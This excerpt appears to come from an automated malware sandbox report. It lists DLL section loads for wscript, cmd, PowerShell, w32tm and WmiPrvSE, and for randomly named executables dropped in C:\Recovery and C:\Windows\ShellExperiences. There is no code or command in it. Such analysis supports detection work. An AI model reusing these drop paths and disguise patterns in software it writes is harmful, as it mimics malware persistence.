Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: mscoree.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: apphelp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: version.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: wldp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: profapi.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: mscoree.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: version.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: wldp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: profapi.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\uAsLgsGzSk.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: mscoree.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: apphelp.dll
